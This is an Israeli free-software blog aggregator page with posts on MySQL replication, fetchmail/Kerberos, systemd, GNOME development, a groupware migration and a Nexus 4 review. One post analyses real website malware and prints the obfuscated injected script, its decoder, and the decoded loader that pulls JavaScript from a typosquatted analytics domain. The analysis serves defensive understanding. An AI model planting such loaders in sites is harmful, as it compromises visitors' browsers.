פלאנט תוכנה חופשית בישראל (Planet FOSS-IL)

20 אוקטובר, 2014

Shlomi Noach

Making UUID() and RAND() replication safe

MySQL's UUID() and RAND() functions both provide with (pseudo) indeterministic result. UUID()'s result is moreover bound to the host on which it executes. For this reason, both are unsafe to replicate with STATEMENT binlog format. As an example, consider:

master> create table test.uuid_test (id int, u varchar(64));

master> insert into test.uuid_test values (1, UUID());
Query OK, 1 row affected, 1 warning (0.03 sec)

master> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e3596d8-56ac-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

The warning we got on the insert directly relates to the following inconsistency on a slave:

slave1> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e379d63-56ac-11e4-8477-3c970ea31ea8 |
+------+--------------------------------------+

The data on the slave is clearly inconsistent with the master's. The slave, replicating via STATEMENT binlog format, re-executes the INSERT command and gets a different UUID value.

External

One solution to the above is to generate the UUID value from your application. By the time MySQL gets the INSERT statement, the UUID value is a constant string, as far as MySQL is concerned.

Internal

However there's a way to do it from within MySQL, by decoupling the UUID() function from the INSERT statement. It takes a session variable. Consider:

master> set @safe_uuid := UUID();
Query OK, 0 rows affected (0.00 sec)

master> insert into test.uuid_test values (2, @safe_uuid);
Query OK, 1 row affected (0.02 sec)

master> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e3596d8-56ac-11e4-b284-3c970ea31ea8 |
|    2 | 29c51fb9-56ad-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

And on a slave:

slave1> select * from test.uuid_test;
+------+--------------------------------------+
| id   | u                                    |
+------+--------------------------------------+
|    1 | 7e379d63-56ac-11e4-8477-3c970ea31ea8 |
|    2 | 29c51fb9-56ad-11e4-b284-3c970ea31ea8 |
+------+--------------------------------------+

The reason why this succeeds is that MySQL stores session variable values that are being used by DML queries in the binary log. It just so happened that @safe_uuid was assigned the UUID() value, but it could just as well have been assigned a constant or other computation. MySQL stored the resulting value into the binary log, where it is forces upon the slave to use. Check out this binary log snippet:

# at 14251
#141018 12:57:35 server id 1  end_log_pos 14319         Query   thread_id=2     exec_time=0     error_code=0
SET TIMESTAMP=1413626255/*!*/;
SET @@session.sql_auto_is_null=0/*!*/;
BEGIN
/*!*/;
# at 14319
#141018 12:57:35 server id 1  end_log_pos 14397         User_var
SET @`safe_uuid`:=_utf8 0x32396335316662392D353661642D313165342D623238342D336339373065613331656138 COLLATE `utf8_general_ci`/*!*/;
# at 14397
#141018 12:57:35 server id 1  end_log_pos 14509         Query   thread_id=2     exec_time=0     error_code=0
SET TIMESTAMP=1413626255/*!*/;
insert into test.uuid_test values (2, @safe_uuid)
/*!*/;
# at 14509
#141018 12:57:35 server id 1  end_log_pos 14536         Xid = 145
COMMIT/*!*/;

The same can be applied for RAND(). Funny thing about RAND() is that it is already taken care of by the binary log via SET @@RAND_SEED1, SET @@RAND_SEED2 statements (i.e. it works), though the documentation clearly states it is unsafe.

With Row Based Replication (RBR) the problem never arises in the first place since the binlog contains the values of the new/updated rows.

20 אוקטובר, 2014 06:40 AM

19 אוקטובר, 2014

Boris Shtrasman

פיטצ'ר מגניב בfetchmail

היום גיליתי פיטצר מגניב בfetchmail- אם עושים אימות gssapi מול שרת exchange בתוך הרשת הארגונית,ניתן להשתמש באותה התעודה לגישה לשרת הexchange גם בכתובות אחרות (גם כאשר אין גישה לשרת המזהה).


לשם ההדגמה.

שרת הדוא"ל:mailserver.myrtfm.blogspot.com
כתובת פנימית:192.168.1.7
כתובת חיצונית:173.194.112.108
שם משתמש להזדהות: username

מתחברים לרשת האירגונית ומתחילים:
חיבור והזדהות ברשת הפנימית :
kinit username@MYRTFM.BLOGSPOT.COM


בדיקת הכתובת  של שרת הדוא"ל :
ping ping mailserver.myrtfm.blogspot.com
mailserver.myrtfm.blogspot.com  (192.168.1.7) 56(84) bytes of data.
64 bytes from mailserver.myrtfm.blogspot.com  (192.168.1.7): icmp_seq=1 ttl=50 time=87.8 ms

הפעלה של fetchmail -v בשביל לגרום להזדהות gssapi ע"י fetchmail.

בדיקת קיום התעודה החדשה:
klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: username@MYRTFM.BLOGSPOT.COM

Valid starting Expires Service principal
10/19/2014 10:44:31 10/19/2014 20:44:31 krbtgt/MYRTFM.BLOGSPOT.COM@MYRTFM.BLOGSPOT.COM
renew until 10/20/2014 10:44:29
10/19/2014 10:48:04 10/19/2014 20:44:31 imap/mailserver.myrtfm.blogspot.com@MYRTFM.BLOGSPOT.COM
renew until 10/20/2014 10:44:29
הפלת fetchmail.

יצאה מהרשת הפנימית.

בדיקת הכתובת החדשה של שרת הדואל
ping mailserver.myrtfm.blogspot.com 
PING mailserver.myrtfm.blogspot.com (173.194.112.108) 56(84) bytes of data.
64 bytes from mailserver.myrtfm.blogspot.com (173.194.112.108): icmp_seq=1 ttl=50 time=87.8 ms

הפעלה מחדש של fetchmail.

19 אוקטובר, 2014 12:10 PM

ik

systemd

זהירות פוסט ארוך מאוד

אם אינכם מכירים או עוקבים אחר עולם הלינוקס, הוא עובר מספר מהפכות ממש קשות בשנים האחרונות, לדעתי האישית – זה רק לטובה.

אחת המהפכות, הוא יצירת פרוטוקול גרפי חדש וחדיש יותר, שיחליף את X11 הוותיק. עליו משום מה אין הרבה תלונות (יחסית) וקיבל את השם wayland.

מהפכה נוספת, היא החלפת הגישה של sysv כמעט לגמרי, עם מנהלי init שונים, כאשר זה שלוקח את הכי הרבה אש, וגם בשימוש הרב ביותר הוא systemd. זה השם שלו, כפי שהוא כתוב. והd בסוף מצייג כמובן את המילה daemon, כי הוא יושב ב pid 1, ומנהל את העליה של כל השאר, אחרי שמנהל האתחול (כדוגמת grub) מריץ אותו.

פוסט זה אינו מנסה לקחת צד במלחמת הדתות הזו, הוא גם לא מושלם, ומחסיר המון מידע, אבל הוא מגיע בשביל להסביר את systemd ואתם מוזמנים להחזיק בדעה שלכם בנושא, תהיה אשר תהיה

הגישה של systemd היא ממוקדת לינוקס, ואינה תואמת את ה API של יוניקס, וככזו, היא מאפשרת לבצע פעולות טובות יותר בלינוקס, בלי להתפשר על דברים שיהיו כלליים יותר בשל הצורך לתמוך בעוד מערכות הפעלה שונות.

בניגוד ל init הישן, ולדעתי הלא טוב, systemd מביא איתו גישה חדשה, אך בראש ובראשונה הוא פותר בעיות שפעם לא נחשבו לכאלו, וחלקם גם לא התקיימו, אבל כיום הן כן – תאימות בכתיבת services בראש ובראשונה.

עם init, כל הפצה או משפחה של הפצות, היו מחזיקות כלי עזר משלה בנושא, כולל פונקציות bash למשל, וחלק עם csh. והנה בעיה ראשונה, מה קורה אם אני רוצה שיהיה לי למשל zsh או psh וכיוב', אבל אני לא רוצה להתקין bash או sh ?

אבל יותר מזה, כתיבת Daemon בכל הפצה, דרשה כתיבה שונה של בדיוק אותו הדבר, וככה יוצרי תוכנה היו נמנעים מכך לחלוטין, או היו מספקים גרסאות לDebian וגרסאות ל Redhat עבור init (למשל), אבל הפצות שעובדות שונה, ובכן הן היו צריכות לכתוב משהו משל עצמם, או לספק תאימות לאחת מההפצות הגדולות יותר.

עוד לפני הסבר כיצד init עבד, אפשר לראות כאן בעיה מאוד קשה.
systemd למעשה פותר את הבעיות האלו, וגם מספק תאימות לאחור במידה ולא המרתם דברים, אבל לא אכנס כאן כיצד, אולי אצור פוסטים נפרדים בנושא.

עכשיו init עובד בתפיסה של runlevel. זה אומר שיש מספר בין 0 ל 6, כאשר כל מספר בטווח אומר כיצד הריצה תהיה בעצם. כאשר 6 זה לאתחל את המחשב, ו0 הוא halt, והשאר אומרים כיצד לרוץ לתוך המערכת, למשל 1 אומר שזה משתמש single user אשר נועד לבצע פעולות תחזוקה כאשר יש בעיה במערכת עצמה.

בברירת המחדל, היו ספריות (מערכת בשם rc) עם מספר ה runlevel הרצוי, ובתוכם סקריפטים אשר היו מתחילים באות S או באות K (אותיות גדולות) ואחריהם מספר בין 00 ל 99. המספר ייצג את החשיבות עליה, כלומר מתי בזמן עליה להריץ אותם ביחד למספרים אחרים, כאשר מספר נמוך יותר מתבצע לפני מספר גבוה יותר. ה S אומר לבצע את הסקריפט בזמן עליה, והK בזמן סגירה מסודרת של המערכת. הפירוש של S זה start והפירוש של K זה kill.

המערכת משתמשת בinittab בשביל לקבל החלטות שונות, כולל איזה טרמינל לאפשר, מה רץ בכל טרמינל כזה וכיוב'. ב systemd, אין צורך בקובץ הזה, הוא יודע לנהל דברים בצורה לגמרי שונה.

יש המון בעיות בגישה של init – מה קורה כש iptables למשל חייב לעלות רק כאשר הרשת עלתה, ומיד, לפני כל דבר אחר, אבל הרשת לא עלתה, ולמעשה זה אומר ש iptables לא יכול לעלות, כי אין למשל devices בשביל לעבור עליו עם החוקים ?
יותר מזה, נגיד ויש לי 2 סוגי תסריטי firewall אבל הם מתנגשים בהם, למשל csf מול Fail2Ban איך אני בכלל מסביר את זה למערכת ?

המערכת של init לא ידעה לספק לכך מענה. למעשה אם היו בעיות ברשת, לפעמים התסריט לעליית הרשת היה נתקע למשך זמן של כמה דקות, ואז רק ב timeout אם בכלל היה כזה, המערכת היתה ממשיכה לעלות, אבל מיד לאחר מכן הסקריפט של iptables היה מנסה לעלות, ונכשל, אבל ממשיכים הלאה.
אם שכחו לבטל מערכת אחת, והיו מריצים גם את השניה, אז מערכות של תסריטים ל iptables היו מתנגשות אחת בשניה, וinit לא היה מודע לזה, ולך תבין עכשיו מה מכניס חוקים או מבטל אותם ב iptables.

ב systemd, יצרו מערכת קדימויות חדשה, בה אני יכול לציין סוג של hooks, שאומר שאני רוצה לעלות רק כאשר הרשת עלתה. ובמקום ליצור priority בשם, אני יוצר הסבר ל systemd כיצד להתנהג איתי.
אני אפילו יכול להגיד שאני מתנגש עם מערכות אחרות שמספקות אותו הדבר, וכיוב'.

יותר מזה, כאלו ללא חוקים מיוחדים, יכולים לעלות בסדר לא מוגדר, ואפילו לטעון את כולם ב"מכה", אולי חלקם בכלל ברקע, אבל אלו עם חוקים, יוצרים שרשרת מסוימת, עם התחלה וסוף ברורים מאוד, התנהגות של מה קורה במצבי עליה והסרה, מה בא קודם, כיצד להתנהג כאשר מה שקורה קודם לא התרחש כי נכשל וכיוב' …

עכשיו יותר מזה, כאשר דימון נכשל לעלות, בinit, הייתי צריך להתחיל לחפש בלוגים שונים מה קרה, למשל אם אפצ'י לא הצליח לעלות, אני אחפש בלוגים של אפצ'י, אבל מה קורה כאשר אין לי לוג כזה, למשל הבעיה היא שאין לאפצ'י הרשאות לרשום את הלוג ?

בsystemd, יש מנהל לוגים לdaemon, אשר מסביר מה עלה, מתי עלה, או לא עלה, עם הודעות השגיאה המדויקות שאותו daemon מספק, וזה נעשה במקום אחד מסודר. כלומר גם אם הdaemon לא יצר קובץ לוג, עדיין יש לי מידע כלשהו בנושא, ועוד במקום אחד ומסודר.

אבל זה לא הכל, אם אני רוצה למשל לסנן את הלוג רק לעליה האחרונה, ורק עבור NetworkManager, יש מערכת שקיבלה את השם journalctl שמנהלת את הלוגים, ודרכה אפשר להגיד על מה אני מדבר, כולל סינון רק של NetworkManager מהבוט של היום.

למשל הפקודה הבאה:

$ journalctl -u NetworkManager -f -b 1b51005fb9814285b9ee872da51682f3

אומרת קודם כל להציג רק מידע של NetworkManager, גם אם נגיד מדובר ב dhclient שרץ דרכו, אקבל אותו ללוג, בנוסף אני אומר לו להתנהג כמו tail -f, כלומר להמשיך להדפיס מידע ולא לצאת, בנוסף, תציג רק מ boot עם המספר שלו. כאשר ניתן לקבל את המידע על המזהה של ה boot גם כן.

כבר לא צריך להתחיל לחפש אם זה בלוג בשם messages או אולי boot או אולי system או כל דבר אחר, אני מקבל ניהול מסודר לזה.

עוד בעיה קשה בלינוקס היא כרטיסי רשת שונים. קרה לי במספר שרתים, בהם כרטיס הרשת הוחלף, או נכנס כרטיס חדש, ופתאום מה שהיה מקודם eth0 הפך להיות eth3. עכשיו לך תשנה את כל הסקריפטים של route וכיוב' בנושא.
יותר מזה, יש לך תחביר שונה בין Debian לבין RedHat לניהול הזה של הרשתות וכרטיסי הרשת.

ב RedHat ניסו איכשהו להתמודד עם זה בגישה שבה אם אני שם את ה Mac אז הוא מנסה לשים את אותו שם של device, בפועל זה לא תמיד עובד, ועושה כאבי ראש.

systemd מספק מערכת אחת לניהול הרשת בברירת המחדל, במקום תחביר שונה בין כל הפצה.

לא הכל ורוד בזה, למשל כאשר הגיע systemd, והחליט לשנות את שמות ה devices. זה מאוד מעצבן בעיני, אבל השינוי הזה מאפשר לי לדעת שתמיד הכרטיס enp0s25 יהיה בשם הזה. והמקדם של השם, אומר מאיפה הוא מגיע, כלומר אם עכשיו אכניס עוד כרטיס רשת PCI, למרות שבאנמרציה שלו אולי היה מקבל את eth0 במקום הכרטיס הנוכחי, כאן הוא יקבל שם אחר.

הבעיה הזו, בנוסף לצורך בתקשורת עם תוכנות אחרות בצורה אחידה, זקוקה לIPC, כלומר תקשורת בין תוכנות שונות לבין systemd. כאשר systemd החליט במקום לממש מחדש משהו משל עצמו, או אולי להסתמך על סיגנלים, להשתמש במערכת קיימת שנמצאת הרבה זמן בשימוש בשם d-bus.

בזכות השימוש ב d-bus, עכשיו ניתן למשל ליצור מערכת login אשר לא תדבר בשפת systemd, אלא בשפת d-bus. מה שאומר שעכשיו המערכות יכולות להיות גנריות יותר, אבל מצד שני, לעבוד בשפה משותפת.
כלומר עכשיו אני יכול לקחת את KDM או GDM ולהתאים אותם ל systemd בצורה אחידה, והם יכולים לנהל הכל באמצעות systemd ו d-bus.

וזה עוד משהו שsystemd מספק – מערכת ניהול למערכת כניסה למחשב, בנוסף, נגיד ואני רוצה לאתחל את המחשב, או לשים אותו במצב המתנה, או לבצע "שינה". אז במערכת init, הפעולות האלו דרשו המון הרשאות שונות והיו הרבה סוגי כלים שסיפקו את אותו הדבר. עם systemd, אני מקבל תמיכה מלאה בפעולות האלו באמצעותו, וכך אני למעשה ריכזתי את הפעולות למערכת בודדת.

סיכום:

המערכת מכילה עוד רכיבים, אבל זה הבסיס להבנת systemd, בלי ממש ללמד כיצד זה עובד.
היות והפוסט מאוד ארוך יחסית, אעצור כאן, אך אין זה אומר שזה כל מה שיש להגיד בנושא, או שלא נשאר מה להסביר בנושא.
גם בנושאים שנגעתי בהם, יש עוד הרבה מה לכתוב, אך כל דבר כזה, זקוק למספר פוסטים בפני עצמם.

אני מקווה שהפוסט עוזר לכם להבין טוב יותר את המערכת, גם אם אתם מחליטים שהיא לא בשבילכם.


תויק תחת:Operating Systems, חברה, טכנולוגיה, לינוקס, קוד פתוח, תוכנה

19 אוקטובר, 2014 11:05 AM

18 אוקטובר, 2014

Yosef Or Boczko

GNOME 3.15 – תחילת הפיתוח

ערב טוב.

עם הכניסה לשגרה שלאחר תקופת החגים, גם פיתוח הגרסה הבאה של GNOME עובר הילוך, עם שחרור גרסה 3.14.1, בדיוק על פי לוח הזמנים, לפני שלושה ימים.

אמנם טרם שוחררה הגרסה הלא יציבה הראשונה בסדרת ‎3.15.x, אך כבר הוכנסו מספר תכונות ל־Git, אותן אסקור בקצרה.

תמיכה ב־ב־OpenGl ב־GDK וב־GTK+‎

עבודה של Alexander Larsson, שמוזגה בשעה טובה לעץ הקוד של GTK+‎, הכוללת אף תמיכה ב־Wayland. מעט על כך ברשומה שכתב Emmanuele Bassi.

GdkGears

סימון יפה בסיום גלילה

מעין סימון המופיע בגלילה מטה או מעלה (כשאין עוד מה לגלול), וזה הזמן להודות ל־Lapo Calamandrei על העבודה הרבה שלו בשכתוב Adwaita, כאשר אנו נהנים מעבודתו בכל יישומי GTK+‎.

יישומון סרגל צדי הפועל עם GtkStack

בדומה ל־GtkStackSwitcher, נוסף יישומון בשם GtkSidebar המאפשר מעבר בין דפי תוכן שונים באמצעות סרגל צדי.

שכתוב ערכת הנושא של המעטפת ל־CSS/SASS

כפי שבוצע במחזור הפיתוח הקודם לערכת הנושא Adwaita של GTK+‎, כך כעת לערכת הנושא של המעטפת. השכתוב עודנו בעבודה, נמצא בענף wip/sass.

אצרף פה מספר צילומים מהמצב הנוכחי של הענף. אציין שהעבודה טרם הסתיימה, שינויים רבים יכנסו עד למיזוג לענף הפיתוח הראשי.

gnome-shell-sass-app-menu gnome-shell-sass-dash gnome-shell-sass-main-menu gnome-shell-sass-overview gnome-shell-sass-power-off-dialog gnome-shell-sass-search-entry

Builder – סביבת פיתוח עבור GNOME

כפי שהבטיח Christian Hergert, הוא עזב את עבודתו ב־MongoDB והתחיל לעבוד על סביבת פיתוח עבור GNOME, הנקראת בשם Builder.

עד כה יש תכונות די בסיסיות, אם כי לא רעות בכלל:

את החשוב ביותר שכחתי – צלמית יפה במיוחד, על ידי Jakub Steiner.

builder

אכניס לכאן רק סקירה של התמיכה בעורך תואם VIM, בת שבועיים (כלומר, מאז שונו אי־אילו דברים):

הקוד זמין תחת git.gnome.org/browse/gnome-builder, אשר ניתן לבנייה עם GTK+‎ 3.14 (כרגע עוד אין צורך ב־GTK+ 3.15). למשתמשי ארץ׳, ניתן להשתמש בחבילה ייעודית מה־AUR, ‏gnome-builder-git.

אציין שהשמטתי אי אילו שינויים (כמו תכונות שנוספו למפקח GTK+‎), וככל הנראה גם שכחתי אי אילו שינויים, אחרים.

בברכה,

יוסף אור

ולפעמים

החגיגה נגמרת

לקום מחר בבוקר ולהתחיל מבראשית

18 אוקטובר, 2014 09:56 PM

Boris Shtrasman

העברת groupware

אני עושה מיגרציה לפתרון groupware שלי והחלטתי לראות מה זה אומר מבחינת צד המשתמש, שידרוג צד השרת אמור להיות ללא תקלות אבל החלטתי לבדוק מה קורה מבחינת קונפיגורציה דומה כלפי המשתמש.

המיגרציה שאני עושה אמורה להעביר את כל המידע מספק א' לספק ב' אבל קיים סיכון של איבוד מידע.
לאחר ביצוע המיגרציה אותם שמות המשתמשים / סיסמאות וfqdn אמורים לעבוד בצורה זהה (כך שתוכונות לקוח לא יראו הבדל).

לשם הבדיקה לקחתי שרת  Exchange ובדקתי מה זה אומר בשבילי כלקוח כשיש מיגרציה כזו.
אני משתמש בKDE  .

יומן:


בגלל שאני משתשמש ביומן מקומי (לא סומך על ה"ענן") אין לי שום בעייה,

אנשי קשר:

יש לי מספר רשימות, הרשימות מהשרתים תמיד מגובה.

דוא"ל:

פה גיליתי שנושא תיבת הדואר לא יעבור חלק , את זה רואים  בתוך תוכנת הדואל של  KDE

 
if (messageCount == 0) {
//Shortcut:
//If no messages are present on the server, clear local cash and finish
m_incremental = false;
if (realMessageCount > 0) {
kDebug( 5327 ) << "No messages present so we are done, deleting local messages.";
itemsRetrieved(Akonadi::Item::List());
} else {
kDebug( 5327 ) << "No messages present so we are done";
}
taskComplete();

משמעות הפעולה   itemsRetrieved(Akonadi::Item::List()); היא שכל המידע השמור מקומית עבור התיבה יאופס(כל המיילים ימחקו).

התחלתי לחפש פתרון לביצוע גיבוי/העלאה ועצרתי על שימוש ב fetchmail.

לצערי fetchmail נכשל בהזדהות NTLM אבל השרת תומך בGSSAPI ולאחר ביצוע kinit הצלחתי לעבוד מול השרת.

את fetchmail הגדרתי בתוך ~/.fetchmailrc:

poll mailserver.myrtfm.blogspot.com 
protocol IMAP
port 143
username "username@myrtfm.blogspot.com "
password "secretpassword"
is "boris"
mda "/usr/bin/procmail -d %T"
mimedecode
keep

את procmail הגדרתי כך ~/procmailrc.:
SHELL=/bin/bash
PATH=/usr/sbin:/usr/bin
MAILDIR=$HOME/MailDir/
DEFAULT=$MAILDIR
LOGFILE=$HOME/.procmail.log
LOG=""
VERBOSE=yes

:0:
*^To:.*\@myrtfm.blogspot.com
$MAILDIR/.myrtfm.blogspot.com/

אני מקווה שלא עשיתי שום טעות בהגדרות אבל נראה שהמיילים יורדים, לאט לאט

18 אוקטובר, 2014 06:40 PM

Diego Iastrubni

וירוסים בעולם ה־web

(אני מנקה את הבלוג שלי ואני מצאתי משהו שכתבתי ב־2008… פאק… זה היה עוד בתקופה של בלוגלי… הבלוג עבר שתי המרות מאז… מוזר…) אני מפרסם בלי עריכה. תהנו.

אני חייב להתחיל את הפוסט הזה בכך שאני מסיר כל אחריות מכל מה שכתוב כאן: הרעיון לא שלי, הביצוע לא שלי, ולפרוץ ולהרוס מערכות מחשב זה מעשה פלילי. כל מי שעושה דברים כאלו הוא לא מישהו רצוי בבלוג הזה ויכול ללכת, לדחוף את האצבע שלו בתחת ולבדוק מה הטעם.

המשך הפוסט הזה מנתח וירוס אמיתי שנמצא בחוץ, ואני לא מצזנזר אף חלק ממנו. מי שחושב שעכשיו אני נתתי למלא script kiddies חומר חדש לתקוף אתרים הוא בור ולא מבין את הבעייה האמיתית: הבורות של אנשים הממוצעים, ורמת התכחום הטכנולוגית של הבעייה. רק על ידי ניתוח אמיתי ופתוח של בעיות אפשר לפתור אותם, ולא על ידי הסתרה שלהן.

בעבודה הבוס מבקש ממני שאני אכנס לאתר ואני אבדוק אם יש שם וירוס (לא, זה לא כי אני מריץ לינוקס 64ביט, הוא גם ביקש ממפתח שמריץ XP…). אני מסתכל על הקוד HTML שיש באתר ואני רואה:

<script>
uluf="%";
of="<i73i63i72i69pti20lai6eguagi65i3dji61vi61si63ri69pt>i20
i66uni63ti69oi6ei20i6ci69v(sn){vai72
sh,ui78i76=\"i308i2b;i69i20oi68Fdi26|*y4i4fli6ei40(#i36i6apIsZi77i39vi24i5dGi78i5ci22tKi54mg3!i2dei7bi5b:i27)i71}c1i3d7.i62JCi4dN^5i7ai66u_i60i42i55rk,aAEi482~Vi50\",ti74i6ei3di22\",i7ac,oui2ctri3d\"\"i2cci63;i66oi72i28si68=i30;i73i68<sn.length;i73h+i2b)i7bi20zi63=si6e.chi61i72i41ti28i73i68)i3bou=i75i78i76.i69i6edexOf(zi63)i3bi69f(i6fui3e-i31i29i7bi20i63c=(i28oi75i2b1i29i25i381-i31i29;i69i66i28ci63i3ci3d0i29ci63+i3di381;i74ri2bi3dui78v.i63hari41t(ci63-i31i29;
i7di20i65i6cse
i74r+=zc;}ttni2bi3dtri3bi64i6fi63i75mei6et.i77i72i69te(ti74n);}<i2fi73i63ri69i70i74>";
vmpq=unescape(of.replace(/i/g,uluf));
var bwn,yug;
document.write(vmpq);
bwn="<Z1k IKonA@3_A3{7tpA$AZ1k IKt>o&h1_g{@Kb9k
K{#ot<SMRs0monA@3_A3{7tCA$AS1k IKtoSRM7tFKKI'//999b3hh3n{A@An K
1Zb@{K/``_KJbpZ?t;&h1_g{@Kbk{u{kk{k;tt></SMRs0m>toqio</Z1k IK>oo";
liv(bwn);
</script>

אוקי מעניין, אפילו מעניין מאוד… אני מסתכל על זה ומנחש שהקוד הראשון, בעצם יעשה מין eval()‎ להמשך, ואז תהיה לי פונקציה בשםliv()‎ שהיא תעשה את החלק המעניין. אז אני מעתיק את הקוד לקובץ נקי, ובמקום להציג על "המסך", אני שופך אותו אל textarea ואז אני יכול להסתכל על הקוד שהדפדפן יראה. הפונקציה liv()‎ נראית ככה:

function liv(sn)
{
    var sh,uxv="08+;i
ohFd&|*y4Oln@(#6jpIsZw9v$]Gx\"tKTmg3!-e{[:')q}c1=7.bJCMN^5zfu_`BUrk,aAEH2~VP",ttn="",zc,ou,tr="",cc;
    for(sh=0;sh<sn.length;sh++){
            zc=sn.charAt(sh);
            ou=uxv.indexOf(zc);
            if(ou>-1){
                cc=((ou+1)%81-1);
                if(cc<=0)cc+=81;tr+=uxv.charAt(cc-1);
            }
            else
                tr+=zc;
    }
    ttn+=tr;
    //document.write(ttn);
    document.getElementById("idTextArea").value = ttn;
}

אוקי, אז הקוד עצמו מקודד פעמיים ורק אז הוא מריץ את הקוד האמיתי!

איזה הפתעה קיבלתי כאשר טיפלתי בקוד שוב ובמקום "להדפיס על המסך" אני שופך את המידע ל־textarea. מה שהיה שם כתוב כאן:

<script language="javascript"> document.write( "<SCRIPT
language=\"JavaScript\"
SRC=\"http://www.googleanalitics.net/__utb.js?"+document.referrer+"\"></SCRIPT>"
); </script>

למי שלא מבין מה כתוב פה, זה בעצם טוען JavaScript חיצוני ושם קורא כל הכיף… אבל הקובץ הזה מאוכסן באתר של התוקף ויש לו שליטה מלאה על מה שקורה ולא צריך להתחכם יותר מדי… אבל, מה שבאמת מעניין כאן, זה הכתובת של האתר. מישהו מזייף אתר עם כתובת דומה לשירות של גוגל, במקום סיומת ‎ .com בעל סיומת ‏‎.net אין מה להגיד, פשוט גאוני! אי אפשר לצפות מאנשים שמתחזקים אתר אינטרנט בתור אוסף של קבצי HTML להבין מה בעצם קרה כאן!

הקושי האמיתי פה הוא לישתול את הקוד באתר הנתקף. לפי דעתי, החלק הזה גם טריויאלי: פשוט קונים אתר בחברה שעושה shared hosting ואז יש לנו גישה פיזית למכונה.

הטקסט המלא

18 אוקטובר, 2014 06:23 PM

ביקורת – נקסוס 4

לפני שנה קניתי נקסוס 4 (ביום שיצא נקסוס 5, היה בעסה לקרא את זה ברגע שהדלקתי את המכשיר…) לא כתבתי ביקורת עליו, אז אני חושב שהגיע הזמן. הפוסט הוא לא נחמד מדי… אז אם יש לך קיבה רגישה, תמשיך הלאה (הביקורת לא ממש מחמיאה). אני אשמח לשמוע ממישהו שיש לו נקסוס 5, האם הבעיות שונות או דומות?

מבחינת חומרה:

  1. המכשיר מגיע בלי אוזניות. אם תחברו אליו אוזניות של סמסונג – לא תכלו לשלוט על עוצמת הווליום. כנ״ל עם אוזניות של אפל. הכפתור כדי לענות לשיחה עובד בשני הסטים של האוזניות.
  2. המכשיר מגיע בלי מטען לרכב.
  3. מגיע כבל USB ארוך יחסית (יש!) ולו כזה חיבור לקיר. החיבור לקיר הוא לא מתאים לכל שקע – יש שקעים ישנים שבהם אני לא מצליח להכניס אותו כלל (התקן הישראלי הישן – הוא קצת יותר קטן מהאירופאי).
  4. הוא מרגיש מאוד שביר… אחרי כמה חודשים אני כמעט מרגיש שהמסך רופף טיפה… עוד שנה, אני מתחיל לפחד שהחיבור של ה-USB יתפרק.
  5. הסלולה פנימית, וצריך לפרק את המכשיר כדי להחליף אותה. הברגים הם לא ברגים רגילים (לא שטוח ולא פיליפס) והם בקוטר ממש קטן – אז אני אצתרך לקנות מפתוח מיוחד.
  6. מגנים, מקלדות חיצוניות… כל ה-Accesories.. כמעט ולא קיימים למכשיר ומה שיש יחסית יקר. מגנים שקופים אפשר למצוא… אבל יחסית ביוקר (של אייפון ממש זולים… ייצור המוני…)
  7. הרמקול החיצוני פשוט נשמע רע וצפצפני.
  8. כשאני משתמש באוזניות של סמסונג אנשים מתלוננים שאי אפשר להבין אותי. אני חוזר להשתמש במיקרופון המובנה (בלי אוזניות) ואנשים שומעים אותי. אותו סיפור כשאני משתמש באוזניות של אייפון (האוזניות אמורות להיות טובות… לא?). יש לי זוג אוזניות שלישי שלא שומעים אותי דרכן, הבעייה היא במכשיר.
  9. המסך פשוט… נראה רע. הוא בהיר… אבל ניגודיות הצבעים היא די גרועה. השוותי לגלקסי 4, וגלקסי 3 מיני ומול אייפון 5, וזה פשוט רע. השוואתי מול גלקסי 1 – והפרדת הצבעים של הגלקסי הייתה יותר טובה, פשוט הנקסוס היה בהיר יותר.

מבחינת תוכנה:

  1. מצד אחד מעניין. יש המון מערכות הפעלה אלטרנטיביות, ואם יודעים לכבות את המכשיר אז זה מאוד כיף. ואני לא מדבר רק על מודים של אנדרויד, אלא דברים מוזרים באמת (אובונטו, פיירפוקס, Sailfish – מערכת ההפעלה של Jolla).
  2. מצד שני – כל שאר מערכות ההפעלה פשוט חרא בלבן. לא שוות הפעלה במשך יומיים. תמיד חזרתי אל CyanogenMod או אל Stock/Vanilla.
  3. הרומים של אנדרויד שמסתובבים ברשת – הם לא רעים. כולם עובדים ״חלק״. למעט זה שבכולם המכשיר מתחמם. מאוד. לפעמים מחזיקים את הטלפון בזמן עיון ב-Reddit ואתה מרגיש צריבה קטנה (*).
  4. השימוש ב-GPS פשוט גומר את הסוללה ובמהלך היום המכשיר מתחם כל כך, שהוא מפסיק להיטען. ותוך 20-30 דקות הוא פשוט נכבה (גם כשהוא מחובר לחשמל של האוטו). (**)
  5. הזמן שסוללה מחזיקה הוא בערך 20 שעות כשהיא חדשה. היום היא מחזיקה 16-18 שעות. בדרך כלל פחות.

    Screenshot_2014-09-16-09-35-00

  6. שימוש בשיתוף אינטרנט גם… גורם להתחממות קשה וגומרת את הסוללה מהר מדי. אפילו ברום הרגיל של KitKat.. המכשיר מתחמם יותר מדי. לא נוח לאחיזה.

אני חזרתי להשתמש ברום הסטוק של גוגל כדי לבדוק לעומק את טענות 3,4. אני צריך לבדוק את זה במשך כמה שבועות…

בקיצור – זהו מכשיר זול. אל תצפו ממנו להרבה. נראה ש-LG עשו את המינימום שהיה אפשר כדי לקבל את החותמת של גוגל/נקסוס. הוא מנסה לגרום לך להרגיש כאילו קנית מכשיר premium אבל בגודרי – קיבלת מכשיר בינוני. אבל מגניב.

לגבי נקסוס 5: ואללה… לא יודע. אולי הוא מכשיר יותר טוב.

לגבי נקסוס 6: אין מצב. לא מתקרב לזה. הנקסוס 4 שיש לי גדול לי מדי. אני רוצה מכשיר שאפשר לתפעל ביד אחת. בשביל שתי ידיים אני רוצה מקלדת פיזית. לא תודה.

(*) אני גולש ברכבת, זה אומר צינור גדול שכנראה משתמש כמו כלוב פארדיי ויש מלא אנשים אחרים שטוחנים את אותן אנטנות שאני טוחן. אני גם בגולן שיש להם רשת ממש גרועה. ייתכן ששילוב של אלו זה מה שגורם למכשיר להתנהג ככה.

